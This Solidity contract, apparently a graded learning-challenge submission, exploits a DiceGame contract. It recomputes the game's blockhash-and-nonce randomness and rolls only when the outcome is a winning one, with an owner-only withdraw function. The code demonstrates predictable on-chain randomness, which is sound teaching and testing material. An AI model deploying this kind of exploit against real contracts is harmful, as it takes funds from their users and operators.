pragma solidity >=0.8.0 <0.9.0; //Do not change the solidity version as it negatively impacts submission grading
//SPDX-License-Identifier: MIT

import "hardhat/console.sol";
import "./DiceGame.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract RiggedRoll is Ownable {
    /////////////////
    /// Errors //////
    /////////////////

    // Errors go here...
    error NotEnoughETH(uint256 required, uint256 available);
    error NotWinningRoll(uint256 roll);
    error InsufficientBalance(uint256 requested, uint256 available);

    //////////////////////
    /// State Variables //
    //////////////////////

    DiceGame public diceGame;

    ///////////////////
    /// Constructor ///
    ///////////////////

    constructor(address payable diceGameAddress) Ownable(msg.sender) {
        diceGame = DiceGame(diceGameAddress);
    }

    ///////////////////
    /// Functions /////
    ///////////////////

    // Functions go here...
    function riggedRoll() public {
      uint256 required = 0.002 ether;

      uint256 balance = address(this).balance;
      if (balance < required) revert NotEnoughETH(required, balance);

      // calculate
      bytes32 prevHash = blockhash(block.number - 1);
      bytes32 hash = keccak256(abi.encodePacked(prevHash, address(diceGame), diceGame.nonce()));
      uint256 roll = uint256(hash) % 16;

      if (roll > 5) revert NotWinningRoll(roll);

      diceGame.rollTheDice{value: required}();
    }

    function withdraw(address _addr, uint256 _amount) public onlyOwner {
      uint256 balance = address(this).balance;
      if (balance < _amount) revert InsufficientBalance(_amount, balance);

      (bool sent,) = payable(_addr).call{value: _amount}("");
      require(sent, "failed to transfer");
    }

    receive() external payable {}
}
